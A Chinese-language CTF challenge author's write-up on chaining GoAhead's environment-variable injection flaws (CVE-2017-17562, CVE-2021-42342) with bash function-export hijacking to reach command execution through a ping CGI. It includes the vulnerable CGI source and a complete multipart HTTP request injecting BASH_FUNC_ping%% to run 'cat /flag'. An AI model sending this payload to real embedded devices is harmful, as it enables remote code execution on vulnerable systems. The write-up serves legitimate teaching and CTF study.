Toc
  1. 前言
  2. GoAhead
  3. GoAhead + bash
  4. 题目部署文件
  5. 参考
Toc
0 results found
白帽酱
ping2rce出题人writeup 一种环境变量注入劫持bash的实际利用场景

前言

前不久p牛分享了一个利用环境变量注入劫持bash的技巧.
当时我就在想这种环境变量的注入有没有什么比较通用的场景。一般遇到的环境变量注入基本上都是直接使用ld_preload解决问题。p牛的这种新的环境变量注入的利用技巧,有没有什么特殊的利用面呢。

GoAhead

嵌入式设备常用的Web服务器 GoAhead 出现过环境变量注入漏洞 CVE-2017-17562 和 CVE-2021-42342。
漏洞的原理很简单:服务器会把收到的CGI请求参数直接写入到环境变量中。

CVE-2017-17562 的修复方案也很简单:在写入的环境变量前加 CGI_前缀 添加黑名单过滤(实际上无效)。
但是这补丁并没有完全修复。
在 multipart 表单请求遗漏了请求参数的处理 黑名单也没起作用 所以就有了CVE-2021-42342
当时我在复现 CVE-2017-17562和CVE-2021-42342 时遇到了一个问题.
我在上传文件时发生了500错误 控制台无任何错误输出 阅读源码后我发现
GoAhead 上传文件时会向一个固定的临时文件夹写入临时文件 默认为–home参数提供的目录下的tmp目录
如果目录不存在 或者是无法写入文件,就无法完成上传流程。(在后来搜索漏洞分析的才发现了p牛的文章已经写过了我遇到的坑 还有一些其他的玄学问题)
在创建tmp目录后,我成功的完成了漏洞复现。
这时我想到了一个问题:
嵌入式设备大多都是只读文件系统,即使是可写也没有创建这个临时目录。
那么,这个漏洞在实际的场景下应该很难利用。
当时没有其他方法只能止步于此。 直到我遇到了p牛的这篇文章。

GoAhead + bash

一些嵌入式设备会有执行系统命令的场景。
比如ping 路由跟踪 等等。
在这个场景下并结合p牛的bash劫持,就可以完美的完成命令执行目标。
随便构建一个cgi

int isValidIp4 (char *str) {
int segs = 0; /* Segment count. */
int chcnt = 0; /* Character count within segment. */
int accum = 0; /* Accumulator for segment. */

/* Catch NULL pointer. */

if (str == NULL)
return 0;

/* Process every character in string. */

while (*str != '\0') {
/* Segment changeover. */

if (*str == '.') {
/* Must have some digits in segment. */

if (chcnt == 0)
return 0;

/* Limit number of segments. */

if (++segs == 4)
return 0;

/* Reset segment values and restart loop. */

chcnt = accum = 0;
str++;
continue;
}
/* Check numeric. */

if ((*str < '0') || (*str > '9'))
return 0;

/* Accumulate and check segment. */

if ((accum = accum * 10 + *str - '0') > 255)
return 0;

/* Advance other segment specific stuff and continue loop. */

chcnt++;
str++;
}

/* Check enough segments and enough characters in last segment. */

if (segs != 3)
return 0;

if (chcnt == 0)
return 0;

/* Address okay. */

return 1;
}

printf("<HTML><TITLE>Network looking glass</TITLE><BODY>\r\n");
printf("<form action=\"\" method=\"GET\">\r\n");
printf("<input name=\"ip\">\r\n");
printf("<input type=\"submit\" value=\"ping\">\r\n");
printf("</form>\r\n");
fflush(stdout);
if (numQueryKeys != 0) {
printf("<H2>result</H2>\r\n");
for (i = 0; i < (numQueryKeys * 2); i += 2) {
if (queryKeys[i+1] != 0) {
if(isValidIp4(queryKeys[i+1])){
char buffer[256];
printf("<p>$ping -c 4 -w15 %s</p>\r\n<textarea style=\"width: 484px; height: 165px;\">",queryKeys[i+1]);
fflush(stdout);
sprintf(buffer, "ping -c 4 -w15 %s", queryKeys[i+1]);
system(buffer);
fflush(stdout);
printf("</textarea>");
}else{
printf("<H2>invalid ip</H2>\r\n");
}
}
}
}
printf("</BODY></HTML>\r\n");

使用p牛的 bash环境变量注入劫持ping 命令实现任意代码执行
POST /cgi-bin/ping?fdhtf=1.1.1.1 HTTP/1.1
Host: 1.1.1.1
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=—————————123456
Connection: close

—————————–123456
Content-Disposition: form-data; name=”BASH_FUNC_ping%%”

() { cat /flag; }
—————————–123456–
图片.png

题目部署文件

https://github.com/burpheart/ping2rce

参考

https://tttang.com/archive/1450/
https://www.potato.gold/article/79.html
https://www.leavesongs.com/PENETRATION/goahead-en-injection-cve-2021-42342.html

本文作者:白帽酱
版权声明:本文首发于白帽酱的博客,转载请注明出处!